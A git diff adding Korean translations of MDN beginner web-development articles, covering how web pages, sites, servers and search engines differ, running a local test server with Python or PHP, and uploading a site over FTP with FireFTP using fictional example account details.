+ <h3 id="How_do_I_start_to_design_my_website"><a href="/en-US/docs/Learn/Common_questions/Thinking_before_coding">How do I start to design my website?</a></h3>
+ </dt>
+ <dd>This article covers the all-important first step of every project: define what you want to accomplish with it.</dd>
+ <dt>
+ <h3 id="What_do_common_web_layouts_contain"><a href="/en-US/docs/Learn/Common_questions/Common_web_layouts">What do common web layouts contain?</a></h3>
+ </dt>
+ <dd>When designing pages for your website, it's good to have an idea of the most common layouts. This article runs thorugh some typical web layouts, looking at the parts that make up each one.</dd>
+ <dt>
+ <h3 id="What_is_accessibility"><a href="/en-US/docs/Learn/Common_questions/What_is_accessibility">What is accessibility?</a></h3>
+ </dt>
+ <dd>This article introduces the basic concepts behind web accessibility.</dd>
+ <dt>
+ <h3 id="How_can_we_design_for_all_types_of_users"><a href="/en-US/docs/Learn/Common_questions/Design_for_all_types_of_users">How can we design for all types of users?</a></h3>
+ </dt>
+ <dd>This article provides basic techniques to help you design websites for any kind of user — quick accessibility wins, and other such things.</dd>
+ <dt>
+ <h3 id="What_HTML_features_promote_accessibility"><a href="/en-US/docs/Learn/Common_questions/HTML_features_for_accessibility">What HTML features promote accessibility?</a></h3>
+ </dt>
+ <dd>This article describes specific features of HTML that can be used to make a web page more accessible to people with different disabilities.</dd>
+</dl>
diff --git a/files/ko/learn/common_questions/pages_sites_servers_and_search_engines/index.html b/files/ko/learn/common_questions/pages_sites_servers_and_search_engines/index.html
new file mode 100644
index 0000000000..a35ea0eedf
--- /dev/null
+++ b/files/ko/learn/common_questions/pages_sites_servers_and_search_engines/index.html
@@ -0,0 +1,125 @@
+---
+title: '웹페이지, 웹사이트, 웹서버 그리고 검색엔진의 차이는 무엇일까요?'
+slug: Learn/Common_questions/Pages_sites_servers_and_search_engines
+tags:
+  - 웹동작
+  - 웹작동
+  - 초보자
+translation_of: Learn/Common_questions/Pages_sites_servers_and_search_engines
+---
+<div class="summary">
+<p><span class="seoSummary">이번 글에서는 다양한 웹 관련 개념들을 이야기합니다: 웹, 페이지, 웹사이트, 웹서버, 검색엔진. 이런 용어들은 흔히ㅣ웹을 처음 배우는 사람이나 잘못 배운 사람들에게 혼란스럽습니다. 이것들이 무엇을 의미하는 지 배워봅시다!</span></p>
+</div>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">요구지식:</th>
+   <td><a href="/en-US/Learn/How_the_Internet_works">how the Internet works(인터넷이 작동하는 법)</a>을 배워야 한다.</td>
+  </tr>
+  <tr>
+   <th scope="row">목적:</th>
+   <td>웹페이지, 웹사이트, 웹서버, 검색엔진의 차이점을 논할 수 있다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="요약">요약</h2>
+
+<p>지식의 범위에 따라, 웹은 많은 용어가 있습니다. 걱정마세요, 우리는 그런 모든 것들로 여러분을 억누르지 않을 것입니다.  (궁금하시다면, <a href="/en-US/docs/Glossary">glossary(용어사전)</a> 이 있습니다.) 하지만 여러분이 처음에 이해할 필요가 있는 기본적인 용어들이 있습니다. 왜냐하면, 읽는 내내, 이런 표현들을 보게될 것이기 때문이다. 때때로 이런 용어들은 혼동하기 쉽습니다. 왜냐하면 다른 기능을 가지고 있지만 관련있는 것으로 언급되기 때문이죠. 사실, 뉴스 기사 등에서 이따금 잘못 사용된 이런 용어들을 볼 수 있을 것입니다. 그래서 그것들이 혼동되는 것은 당연합니다!</p>
+
+<p>나아가서 더 자세한 용어와 기술들을 다룰 것입니다. 하지만, 앞서 정의해보는 것은 시작하는 데 도움이 될 것입니다:</p>
+
+<dl>
+ <dt>웹 페이지</dt>
+ <dd>파이어폭스, 구글 크롬, 오페라, MS 익스플로러나 엣지, 애플의 사파리 같은 웹 브라우저에서 보여지는 문서이다. 이런 것들을 단순히 "페이지"라고 하기도 한다.</dd>
+ <dt>웹사이트</dt>
+ <dd>다양한 방식으로 그룹으로 묶이거나 연결된 웹 페이지들의 모음이다. 보통 "웹사이트"나  단순히 "사이트"라고 한다.</dd>
+ <dt>웹 서버</dt>
+ <dd>인터넷에 웹사이트를 호스팅하는 컴퓨터이다.</dd>
+ <dt>검색 엔진</dt>
+ <dd>구글, 빙, 야후 같은 다른 웹 페이지들을 찾게 도와주는 웹사이트이다.</dd>
+</dl>
+
+<p>도서관과 간단한 유사점을 보자. 아래는 도서관에 방문했을 때, 일반적으로 하는 일이다:</p>
+
+<ol>
+ <li>검색 색인을 발견하고 원하는 책의 제목을 찾는다.</li>
+ <li>책의 분류번호를 기록한다.</li>
+ <li>그 책이 있는 구역으로 간 뒤, 올바른 분류번호를 찾고, 책을 얻는다.</li>
+</ol>
+
+<p>웹 서버와 도서관을 비교해보자.</p>
+
+<ul>
+ <li>도서관은 웹 서버와 같다. 도서관은 여러 구역이 있는데, 이것은 다양한 웹사이트들을 호스팅하는 서버와 비슷합니다.</li>
+ <li>도서관에 있는 과학, 수학, 역사와 같은 각기 다른 구역들은 웹사이트와 같습니다. 각각의 구역은 유일한 웹사이트입니다. (두 개의 구역이 같은 책을 포함하지 않는다.)</li>
+ <li>구역에 있는 책들은 웹페이지와 같다. 한 웹사이트는 여러 웹페이지들을 가지고 있을 수 있습니다. 예를 들어, 과학 섹션(웹사이트)는 열, 소리, 열역학, 정역학 등의 책(웹페이지)를 가지고 있을 것이다.</li>
+ <li>검색 색인은 검색 엔진과 같다. 각각의 책은 도서관에서 자신만의 위치를 가지고 있다. (두 개의 책이 같은 위치에 놓일 수 없다.) 이 위치는 분류번호로 정해진다.</li>
+ <li>비슷하게, 웹페이지는 유일한 주소를 갖습니다. 이런 주소들은 파이폭스, 크롬, 사파리같은 웹 브라우저의 주소창에 주소를 적으면 웹 서버에서 웹페이지를 검색하기 위해 사용됩니다.</li>
+</ul>
+
+<dl>
+ <dt></dt>
+</dl>
+
+<h2 id="Active_learning">Active learning</h2>
+
+<p><em>There is no active learning available yet. <a href="https://developer.mozilla.org/en-US/docs/MDN/Getting_started">Please, consider contributing</a>.</em></p>
+
+<h2 id="깊게_들어가기">깊게 들어가기</h2>
+
+<p>4개의 용어가 얼마나 관련됐는지, 서로 헷갈리는 이유가 무엇인지를 더 깊게 알아봅시다.</p>
+
+<h3 id="웹_페이지">웹 페이지</h3>
+
+<p>웹 페이지는 {{Glossary("browser")}}(브라우저)를 통해 보여지는 단순한 문서입니다. 이런 문서는 {{Glossary("HTML")}} 언어로 쓰여집니다. (<a href="https://developer.mozilla.org/en-US/docs/Web/HTML">다른 글</a>에서 더 자세히 알 수 있다) 웹 페이지는 다양한 다른 종류의 자원을 포함할 수 있습니다:</p>
+
+<ul>
+ <li><em>style information(스타일 정보) </em>— 페이지의 외관과 느낌을 관리</li>
+ <li>
+  <p><em>scripts(스크립트)</em> — 페이지에 interactivity(대화식 이용)을 첨가</p>
+ </li>
+ <li><em>media</em>(미디어) — 사진, 소리, 동영상</li>
+</ul>
+
+<div class="note">
+<p><strong>Note: </strong>브라우저는 또한  {{Glossary("PDF")}} 파일이나 이미지를 보여줄 수 있다. 그러나 <strong>웹 페이지</strong>는 HTML 문서를 의미하는 용어이다. 아니라면 우리는 <strong>문서(document)</strong>라는 용어를 사용한다.</p>
+</div>
+
+<p>웹에서 이용하는 모든 웹 페이지는 유일한 주소를 통해 접근할 수 있습니다. 한 페이지에 접근하기 위해서는, 브라우저의 주소창에 주소를 적으면 됩니다.</p>
+
+<p style="text-align: center;"><img alt="Example of a web page address in the browser address bar" src="https://mdn.mozillademos.org/files/8529/web-page.jpg" style="height: 239px; width: 650px;"></p>
+
+<p><em>웹사이트</em> 는 유일한 도메인 이름을 같이 사용하는 연결된 웹 페이지들의 모음입니다. (관련된 자원도 포함된다.) 각각의 웹사이트에서 분명한 링크가 주어진 웹 페이지들은 유저가 그 웹사이트의 한 페이지에서 다른 페이지로 이동하게 합니다. 보통 클릭할 수 있는 형태로 되어있습니다.</p>
+
+<p>웹사이트에 접근하기 위해서, 브라우저 주소 창에 도메인 이름을 적으면, 브라우저는 웹사이트의 메인 페이지나<em> 홈페이지 </em>(보통 "홈"이라 하는)를 보여줄 것이다:</p>
+
+<p><img alt="Example of a web site domain name in the browser address bar" src="https://mdn.mozillademos.org/files/8531/web-site.jpg" style="display: block; height: 365px; margin: 0px auto; width: 650px;"></p>
+
+<p><em>웹 페이지 </em>와 <em>웹사이트 에 대한 생각은</em> 특히 하나의<em>웹 페이지</em>만 포함하는 <em>웹사이트</em>에서 혼동하기 쉽습니다. 이런 웹사이트를 보통 a <em>single-page website(싱글 페이지 웹사이트)</em>라고 합니다.</p>
+
+<h3 id="웹_서버">웹 서버</h3>
+
+<h5 id="웹_서버는_한_개_이상의_웹사이트를_호스팅하는_컴퓨터입니다._호스팅은_모든_웹_페이지_및_웹_페이지가_지원하는_파일들을_컴퓨터에서_이용할_수_있다는_것을_의미한다._웹_서버는_유저의_request요청마다_호스팅하는_웹사이트에서_유저의_브라우저로_웹_페이지를_보낼_것이다."><em>웹 서버</em>는 한 개 이상의 <em>웹사이트</em>를 호스팅하는 컴퓨터입니다. "호스팅"은 모든 <em>웹 페이지</em> 및 웹 페이지가 지원하는 파일들을 컴퓨터에서 이용할 수 있다는 것을 의미한다. <em>웹 서버</em>는 유저의 request(요청)마다 호스팅하는 <em>웹사이트</em>에서 유저의 브라우저로 <em>웹 페이지</em>를 보낼 것이다.</h5>
+
+<p><em>웹 사이트</em>와<em> 웹 서버</em>를 혼동하지 마라. 예를 들어, 당신이 누군가 "내 웹사이트가 반응하지 않는다." 라고 말하는 것을 들었다면, 그것은 사실 <em>웹 서버</em>가 반응하지 않는다는 의미이다. 그러므로 <em>웹사이트</em>를 이용하지 못 한다. 더 중요하게, <em>웹 서버</em>는 여러 웹사이트에 호스팅될 수 있기 때문에, 웹 서버라는 용어는 절대 웹사이트를 지정하기 위해 사용하지 않는다. 그것이 큰 혼란을 일으킬 수 있기 때문이다. 아까의 예처럼, 만약 우리가 "내 웹 서버가 반응하지 않는다." 라고 하면, 그것은 웹 서버가 이용할 수 있는 웹 사이트가 없다는 것을 의미한다.</p>
+
+<h3 id="검색_엔진">검색 엔진</h3>
+
+<p>검색 엔진은 웹에서 흔한 혼란의 근원입니다. 검색 엔진은 웹 페이지를 <em>다른</em> 웹사이트에서 찾을 수 있게 도와주는 특별한 종류의 웹사이트입니다.</p>
+
+<p>검색 엔진은 다음과 같습니다: <a href="https://www.google.com/">Google</a>, <a href="https://www.bing.com/">Bing</a>, <a href="https://www.yandex.com/">Yandex</a>, <a href="https://duckduckgo.com/">DuckDuckGo</a>, 그리고 더 많은 검색 엔진들이 있습니다. 일부는 일반적인 것을 위한 것이고, 일부는 특정한 주제에 특화되어 있습니다. 선호하는 것을 사용하면 됩니다.</p>
+
+<p>많은 웹 초보자들은 검색 엔진과 브라우저를 혼돈합니다. 분명히 합시다: <em><strong>브라우저</strong></em>는 소프트웨어의 한 조각으로, 웹 페이지를 검색하고 보여줍니다; <em><strong>검색 엔진</strong></em>은 사람들이 다른 웹사이트에서 웹 페이지를 찾도록 도와주는 웹 사이트입니다. 혼란이 생기는 이유는, 처음 브라우저를 실행하면, 브라우저는 검색 엔진의 홈페이지를 보여주기 때문입니다. 이것이 의미있는 이유는 브라우저로 가장 하고 싶은 일이 보여줄 웹 페이지를 찾는 것이기 때문이다.  브라우저같은 기반 시설을 검색엔진 같은 서비스와 혼동하지마세요. 이것을 구별하는 것이 상당히 도움이 될 것입니다. 그러나 몇몇의 전문가들도 느슨하게 말하므로, 염려하지 않아도 됩니다.</p>
+
+<p>기본 시작 페이지로 구글 검색 상자를 보여주는 파이어폭의 한 예입니다.</p>
+
+<p><img alt="Example of Firefox nightly displaying a custom Google page as default" src="https://mdn.mozillademos.org/files/8533/search-engine.jpg" style="display: block; height: 399px; margin: 0px auto; width: 650px;"></p>
+
+<h2 id="다음_단계">다음 단계</h2>
+
+<ul>
+ <li>더 깊게 들어가기: <a href="/en-US/docs/Learn/What_is_a_web_server">What is a web server(웹 서버란 무엇인가)</a></li>
+ <li>웹 페이지들이 웹 사이트로 연결되는 방법 보기: <a href="/en-US/docs/Learn/Understanding_links_on_the_web">Understanding links on the web(웹에서의 연결 이해하기)</a></li>
+</ul>
diff --git a/files/ko/learn/common_questions/set_up_a_local_testing_server/index.html b/files/ko/learn/common_questions/set_up_a_local_testing_server/index.html
new file mode 100644
index 0000000000..5cc1d21caa
--- /dev/null
+++ b/files/ko/learn/common_questions/set_up_a_local_testing_server/index.html
@@ -0,0 +1,112 @@
+---
+title: 로컬 테스트 서버 설치하기
+slug: Learn/Common_questions/set_up_a_local_testing_server
+tags:
+  - Express
+  - Flask
+  - Learn
+  - Node
+  - PHP
+  - django
+  - lamp
+  - 서버
+  - 서버측
+  - 초보자
+  - 파이썬
+translation_of: Learn/Common_questions/set_up_a_local_testing_server
+---
+<div class="summary">
+<p>이 글에서는 간단한 로컬 테스트 서버를 여러분의 장비에 설치하는 법과 기본적인 사용법을 설명합니다.</p>
+</div>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">사전 준비:</th>
+   <td><a href="/en-US/docs/Learn/How_the_Internet_works">인터넷의 작동 방법</a>과 <a href="/en-US/docs/Learn/What_is_a_Web_server">웹서버</a>에 대해 알고 있어야 합니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>로컬 테스트 서버를 설치하는 법을 배울 것입니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="로컬_파일과_원격_파일">로컬 파일과 원격 파일</h2>
+
+<p>대부분의 학습 분야에 걸쳐서 여러분은 그냥 웹브라우저로 예제들을 직접 열어보기만 하면 됩니다. — 브라우저를 통해 예제들을 직접 열어보는 것은 HTML 파일을 더블 클릭하거나 브라우저 창으로 예제들을 드래그 앤 드롭하거나  또는 <em>File</em> &gt; <em>Open...</em> 메뉴에서 해당하는 HTML 파일을 선택하면 됩니다. 이를 수행하는 방법은 많습니다.</p>
+
+<p>웹 주소 경로가 <code>file://</code>로 시작하고 뒤에 오는 경로가 여러분의 로컬 하드 드라이브에 있는 파일의 경로인 경우, 로컬 파일이 사용되는 것입니다. 이와는 달리, GitHub (또는 다른 원격 서버에 있는) 예제를 보는 경우에는 웹 주소가 <code>http://</code>나 <code>https://</code>로 시작하며, 이는 그 파일이 HTTP를 통해 수신된 파일이라는 것을 나타냅니다.</p>
+
+<h2 id="로컬_파일로_테스트할_때의_문제점">로컬 파일로 테스트할 때의 문제점</h2>
+
+<p>일부 예제는 로컬 파일과 같은 방식으로 열면 동작하지 않습니다. 여기에는 여러 가지 원인이 있을 수 있으며, 대부분은 다음과 같습니다:</p>
+
+<ul>
+ <li><strong>비동기 요청인 경우</strong>. 일부 브라우저(크롬을 포함하는)에서는 로컬 파일의 예제를 실행할 경우에 비동기 요청(<a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">서버로부터 데이터 가져오기 - Fetching data from the server</a>를 참고)이 작동하지 않을 것입니다. 이는 보안 제한(웹 보안과 관련된 자세한 내용은 <a href="/en-US/docs/Learn/Server-side/First_steps/Website_security">웹사이트 보안- Website security</a>을 참고하세요) 때문입니다.</li>
+ <li><strong>서버측 언어인 경우</strong>. 서버측 언어(PHP나 Python과 같은)는 코드를 해석하고 결과를 내보낼 수 있는 특별한 서버가 필요합니다.</li>
+</ul>
+
+<h2 id="간단한_로컬_HTTP_서버_실행하기">간단한 로컬 HTTP 서버 실행하기</h2>
+
+<p>비동기 요청 문제를 해결하려면 로컬 웹 서버에서 예제를 실행하여 테스트해야 합니다. 이를 위한 가장 쉬운 방법은 파이썬(Python)의 <code>SimpleHTTPServer</code> 모듈을 사용하는 것입니다. (설치된 파이썬 버전에 따라 <code>http.server</code> 모듈을 사용해야 할 수도 있습니다.)</p>
+
+<p>이를 위해:</p>
+
+<ol>
+ <li>
+  <p>파이썬을 설치합니다. 리눅스나 맥OS 사용자라면 이미 시스템에 설치되어 있을 것입니다. 윈도우 사용자일 경우, 다음과 같이 파이썬 홈페이지로부터 설치 프로그램을 다운 받고 설치합니다:</p>
+
+  <ul>
+   <li>파이썬 홈페이지(<a href="https://www.python.org/">python.org</a>)로 이동합니다.</li>
+   <li>다운로드(download) 영역에서 Python "3.xxx" 링크를 클릭합니다.</li>
+   <li>페이지의 아래쪽에 있는 <em>Windows x86 executable installer</em>를 선택하고 다운로드 받습니다.</li>
+   <li>다운로드가 완료되면 실행합니다.</li>
+   <li>설치 프로그램의 첫 번째 페이지에서 "Add Python 3.xxx to PATH" 체크박스를 체크해야 합니다.</li>
+   <li><em>Install</em>을 클릭하고 설치가 완료되면 <em>Close</em>를 클릭합니다.</li>
+  </ul>
+ </li>
+ <li>
+  <p>명령 실행창(윈도우의 경우는 command prompt, OS/X나 리눅스인 경우에는 터미널창)을 엽니다. 파이썬이 설치되었는지 확인하기 위해 다음 명령을 입력합니다.:</p>
+
+  <pre class="brush: bash notranslate">python -V</pre>
+ </li>
+ <li>
+  <p>이 명령은 버전 번호를 반환합니다. 정상적으로 작동하면, <code>cd</code> 명령을 이용해 여러분의 예제가 존재하는 디렉토리로 이동합니다.</p>
+
+  <pre class="brush: bash notranslate"># 들어가고자 하는 디렉토리 명을 입력합니다. 예를 들어,
+cd Desktop
+# 한 단계 상위 디렉토리로 이동하려면 점 두 개를 사용합니다.
+cd ..</pre>
+ </li>
+ <li>
+  <p>그 경로에 있는 서버를 구동하기 위한 명령을 입력합니다:</p>
+
+  <pre class="brush: bash notranslate"># 위에서 반환된 파이썬 버전이 3.X인 경우
+python -m http.server
+# 위에서 반환된 파이썬 버전이 2.X인 경우
+python -m <code>SimpleHTTPServer</code></pre>
+ </li>
+ <li>
+  <p>이 명령은 기본적으로 로컬 웹 서버의 8000번 포트를 이용해 해당 경로의 컨텐츠를 실행시킵니다. 웹 브라우저에서 주소줄에 <code>localhost:8000</code>를 입력하면 이 서버로 이동할 수 있습니다. 그러면 그 디렉토리의 컨텐츠 목록을 볼 수 있는데 실행하고자 하는 HTML 파일을 클릭합니다.</p>
+ </li>
+</ol>
+
+<div class="note">
+<p><strong>참고</strong>: 8000번 포트에 이미 실행 중인 무언가가 있다면 서버 실행 명령에 다음과 같이 대체 포트 번호를 명시함으로써 다른 포트로 서버를 구동할 수 있습니다.</p>
+
+<p>예: <code>python -m http.server 7800</code> (Python 3.x일 경우) 또는 <code>python -m SimpleHTTPServer 7800</code> (Python 2.x일 경우). 이 경우, <code>localhost:7800</code>를 통해 서버로 이동할 수 있습니다. </p>
+</div>
+
+<h2 id="서버측_언어를_로컬에서_실행하기">서버측 언어를 로컬에서 실행하기</h2>
+
+<p>파이썬의 <code>SimpleHTTPServer (python 2.0) http.server (python 3.0)</code> 모듈은 유용하기는 하나 파이썬이나 PHP 또는 자바스크립트와 같은 언어로 작성된 코드를 실행하지 못합니다. 이런 코드를 처리하기 위해서는 뭔가가 더 필요합니다 — 정확하게 무엇이 필요한지는 실행하고자 하는 서버측 언어가 무엇인지에 따라 다릅니다. 다음에 몇 가지 사례를 소개합니다:</p>
+
+<ul>
+ <li>파이썬으로된 서버측 코드를 실행하기 위해서는 파이썬 웹 프레임워크(Python web framework)를 사용할 필요가 있습니다. <a href="/en-US/docs/Learn/Server-side/Django">Django Web Framework (Python)</a>를 읽어보면 Django framework를 이용하는 법을 알 수 있습니다. <a href="http://flask.pocoo.org/">Flask</a>는 Djang를 대신할 좋은(조금 더 가벼운) 대안이될 수 있습니다. Flask를 실행하기 위해서는 Python/PIP(<a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/development_environment#Installing_Python_3">install Python/PIP</a>)를 설치하고, <code>pip3 install flask</code> 명령으로 Flask를 설치해야 합니다. 이 때부터 파이썬 Flask 예제를 실행할 수 있는데, 예를 들어, <code>python3 python-example.py</code>명령을 실행하고  브라우저에서 <code>localhost:5000</code>으로 이동하면 됩니다.</li>
+ <li>Node.js (JavaScript)라는 서버측 코드를 실행하기 위해서는 기본 node(raw node)나 그 위에 설치되는 프레임워크를 이용해야 합니다. Express가 좋은 선택이될 수 있습니다 — <a href="/en-US/docs/Learn/Server-side/Express_Nodejs">Express Web Framework (Node.js/JavaScript)</a>를 살펴보시기 바랍니다.</li>
+ <li>PHP로된 서버측 코드를 실행하려면 PHP에 내장된 개발서버(<a href="http://php.net/manual/en/features.commandline.webserver.php">PHP's built-in development server</a>)를 실행시킵니다:</li>
+</ul>
+
+<pre class="shellcode notranslate">$ cd path/to/your/php/code
+$ php -S localhost:8000</pre>
diff --git a/files/ko/learn/common_questions/upload_files_to_a_web_server/index.html b/files/ko/learn/common_questions/upload_files_to_a_web_server/index.html
new file mode 100644
index 0000000000..225b587dc7
--- /dev/null
+++ b/files/ko/learn/common_questions/upload_files_to_a_web_server/index.html
@@ -0,0 +1,134 @@
+---
+title: How do you upload files to a web server?
+slug: Learn/Common_questions/Upload_files_to_a_web_server
+translation_of: Learn/Common_questions/Upload_files_to_a_web_server
+---
+<div class="summary">
+<p>본 글은 어떻게 {{Glossary("FTP")}} 도구를 사용하여 사이트를 발행(publish) 할 수 있는지를 다루고 있습니다.</p>
+</div>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">선행조건:</th>
+   <td>
+    <p>먼저 웹 서버가 무엇인지(<a href="https://developer.mozilla.org/en-US/Learn/What_is_a_web_server">what a web server is</a>)와 어떤 식으로 도메인이 작동하는지(<a href="https://developer.mozilla.org/en-US/Learn/Understanding_domain_names">how domain names work</a>)를 알아야 합니다. 더불어 어떻게 기본 환경을 구성하는지(<a href="/en-US/Learn/Set_up_a_basic_working_environment">set up a basic environment</a>)와 간단한 웹 페이지 작성법(<a href="/en-US/Learn/HTML/Write_a_simple_page_in_HTML">write a simple webpage</a>)을 알고 있어야 합니다.</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>FTP를 이용해 파일들을 서버에 올리기.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="개요">개요</h2>
+
+<p>당신은 이미 간단한 웹 페이지를 만들었습니다.(<a href="/en-US/Learn/HTML/Write_a_simple_page_in_HTML">you have built a simple page</a> 참조), 이제 웹 서버에 올려 온라인에 공개하고 싶을 겁니다. 우리는 이러한 방법을 {{Glossary("FTP")}}를 통해 다뤄보고자 합니다.</p>
+
+<h2 id="따라해보기">따라해보기</h2>
+
+<p><em>아직 좋은 예제가 없습니다. 누군가 나서 주세요(<a href="/en-US/docs/MDN/Getting_started">Please, consider contributing</a>).</em></p>
+
+<h2 id="깊이_파보기">깊이 파보기</h2>
+
+<h3 id="FTP_클라이언트와_함께_해보기_FireFTP">FTP 클라이언트와 함께 해보기: FireFTP</h3>
+
+<p>세상에는 다양한 종류의 FTP 클라이언트들이 있습니다. 본 문서에서는 FireFTP를 다룰 겁니다.  FireFTP는 파이어 폭스에서 다루기 쉽습니다. 만약 파이어폭스를 사용하신다면 FireFTP 애드온 페이지(<a href="https://addons.mozilla.org/firefox/addon/fireftp/">FireFTP's addons page</a>) 에 가셔서l FireFTP를 설치하시면 됩니다.</p>
+
+<div class="note">
+<p>물론 FireFTP 외에도 수 많은 대안이 있습니다. 관심이 있다면 퍼블리싱 도구: FTP 클라이언트(<a href="/en-US/Learn/How_much_does_it_cost#Publishing_tools.3A_FTP_client">Publishing tools: FTP clients</a>) 항목을 참조하시면 되겠습니다.</p>
+</div>
+
+<p>FireFTP를 새로운 탭에서 열어보세요. 파이어폭스에서 열기 위한 방법도 두가지 있습니다.</p>
+
+<ol>
+ <li><strong>Firefox menu <img alt="" src="https://mdn.mozillademos.org/files/9633/2014-01-10-13-08-08-f52b8c.png" style="height: 16px; width: 16px;"> ➤ <img alt="Developer" src="https://mdn.mozillademos.org/files/9635/Screenshot%20from%202014-11-26%2014:24:56.png" style="height: 24px; vertical-align: middle; width: 27px;"> ➤ FireFTP</strong></li>
+ <li><strong>Tools </strong>➤ <strong>Web Develope</strong>r ➤ <strong>FireFTP</strong></li>
+</ol>
+
+<p>이제 다음과 같이 보이게 될겁니다.</p>
+
+<p><img alt="FireFTP : the interface, not connected to a server" src="https://mdn.mozillademos.org/files/9613/fireftp-default.png" style="height: 800px; width: 1280px;"></p>
+
+<h3 id="로그인_하기">로그인 하기</h3>
+
+<p>이 예시에서 우리는 호스팅 제공자가 "Example Hosting Provider"라는 가상의 회사라고 가정합니다. 이 회사의 URLs는 다음과 같습니다 : <code>mypersonalwebsite.examplehostingprovider.net</code>.</p>
+
+<p>우리는 방금 계정을 만들었고 호스팅제공자로부터 아래와 같은 계정정보를 받았습니다.</p>
+
+<blockquote>
+<p>Congratulations for opening an account at Example Hosting Provider.</p>
+
+<p>Your account is: <code>demozilla</code></p>
+
+<p>Your website will be visible at <code>demozilla.examplehostingprovider.net</code></p>
+
+<p>To publish to this account, please connect through FTP with the following credentials:</p>
+
+<ul>
+ <li>FTP server: <code>ftp://demozilla.examplehostingprovider.net</code></li>
+ <li>User: <code>demozilla</code></li>
+ <li>Password: <code>quickbrownfox</code></li>
+ <li>To publish on the web, put your files into the <code>Public/htdocs</code> directory.</li>
+</ul>
+</blockquote>
+
+<p>먼저 이곳을 봅시다. <code>http://demozilla.examplehostingprovider.net/</code> — 보시다시피 아직 아무런 정보도 없습니다.</p>
+
+<p><img alt="Our demozilla personal website, seen in a browser: it's empty" src="https://mdn.mozillademos.org/files/9615/demozilla-empty.png" style="height: 233px; width: 409px;"></p>
+
+<div class="note">
+<p><strong>Note:</strong> 보이는 화면은 여러분의 호스팅 제공자에 따라 다릅니다. 대부분은 “This website is hosted by [Hosting Service].”과 같은 페이지를 보게될 것입니다.</p>
+</div>
+
+<p>이제 우리의 FTP 클라이언트를 멀리 떨어진 서버에 접속하기 위해 <em>"Create an account..." 버튼을 누릅니다. </em>그리고 호스팅제공자로 부터 받은 정보를 해당 필드에 채워줍니다.</p>
+
+<p><img alt="FireFTP: creating an account" src="https://mdn.mozillademos.org/files/9617/fireftp-createlogin.png" style="height: 436px; width: 578px;"></p>
+
+<h3 id="이곳과_저곳_로컬_과_원격_화면">이곳과 "저곳" : 로컬 과 원격 화면</h3>
+
+<p>이제 새로 만든 계정으로 접속을 해봅시다.</p>
+
+<p><img alt="The FTP interface, once logged" src="https://mdn.mozillademos.org/files/9619/fireftp-logged.png" style="height: 800px; width: 1280px;"></p>
+
+<p>어떤 것이 보이는지 조사해봅시다.</p>
+
+<ul>
+ <li>왼쪽에는, 여러분 컴퓨터의 로컬파일들이 보입니다. 여러분이 올리고 싶은 파일들이 있는 디렉토리로 이동합시다. (여기에서는 <code>mdn</code>폴더입니다)</li>
+ <li>오른쪽에는, 원격 파일이 보입니다. 우리는 멀리 떨어진 FTP서버의 디렉토리에 들어온 것입니다. (in this case, <code>users/demozilla</code>)</li>
+ <li>아래부분은 지금은 무시하셔도 좋습니다. 이 부분은 여러분의 FTP클라이언트와 서버사이의 상호작용(업로드, 다운로드)을 기록해 놓은 곳입니다.</li>
+</ul>
+
+<h3 id="서버에_업로딩">서버에 업로딩</h3>
+
+<p>여러분이 기억하듯이, 우리의 호스팅제공자는 우리에게 <code>Public/htdocs</code> 디렉토리에 파일을 저장해야한다고 했습니다. 오른쪽 패널에서 해당 디렉토리로 이동해봅시다.</p>
+
+<p><img alt="Changing to the htdocs folder on the remote server" src="https://mdn.mozillademos.org/files/9623/remote-htdocs-empty.png" style="height: 315px; width: 561px;"></p>
+
+<p>이제, 여러분의 파일을 서버에 업로드하기 위해서 드래그-앤-드롭하여 파일들을 왼쪽에서 오른쪽 패널로 이동합니다.</p>
+
+<p><img alt="The files show in the remote view: they have been pushed to the server" src="https://mdn.mozillademos.org/files/9625/files-dropped-onto-the-server.png" style="height: 800px; width: 1280px;"></p>
+
+<h3 id="우리가_올린_것이_진짜로_온라인으로_되어있나요">우리가 올린 것이 진짜로 온라인으로 되어있나요?</h3>
+
+<p>지금까지는 좋습니다. 하지만 여러분의 브라우저에서 <code>http://demozilla.examplehostingprovider.net/</code> 주소로 이동하여 재확인 해봅시다.</p>
+
+<p><img alt="Here we go: our website is live!" src="https://mdn.mozillademos.org/files/9627/here-we-go.png" style="height: 442px; width: 400px;"></p>
+
+<p>맙소사! 우리의 웹사이트가 잘 올라와있습니다!</p>
+
+<h3 id="파일_업로드를_위한_다른_방법들">파일 업로드를 위한 다른 방법들</h3>
+
+<p>FTP 프로토콜은 웹사이트를 출시하기 위해 잘 알려진 방법입니다. 하지만 유일한 방법은 아닙니다. 여기 몇개의 다른 방법들도 있습니다.</p>
+
+<ul>
+ <li><strong>Web interfaces</strong>. An HTML interface acting as front-end for a remote file upload service. Provided by your hosting service. 여러분의 호스팅제공자는 HTML 인터페이스로 된(브라우저에서 업로드 가능한) 원격 파일 업로드 서비스를 지원해줄 수도 있습니다.</li>
+ <li><strong>GitHub</strong> (advanced). {{Glossary("git")}}을 이용해 commit/push 와 같은 방법으로 업로드할 수도 있습니다. <a href="/en-US/Learn/Getting_started_with_the_web">Getting started with the Web</a> 가이드에서 <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Publishing_your_website">Publishing your website</a> 를 읽어보세요.</li>
+ <li><strong>{{Glossary("Rsync")}}</strong> (advanced). 로컬과 원격의 파일을 동기화하는 방법입니다.</li>
+ <li><strong>{{Glossary("WebDAV")}}</strong>. An extension of the {{Glossary("HTTP")}} 프로토콜의 확장으로 보다 나은 파일 관리를 가능하게 해주는 확장입니다.</li>
+</ul>
+
+<h2 id="다음_단계">다음 단계</h2>
+
+<p>잘하셨습니다. 이제 거의 끝났습니다. 마지막으로 중요한 일은 <a href="/en-US/docs/Learn/Checking_that_your_web_site_is_working_properly">make sure your web site is working properly</a> 입니다.</p>
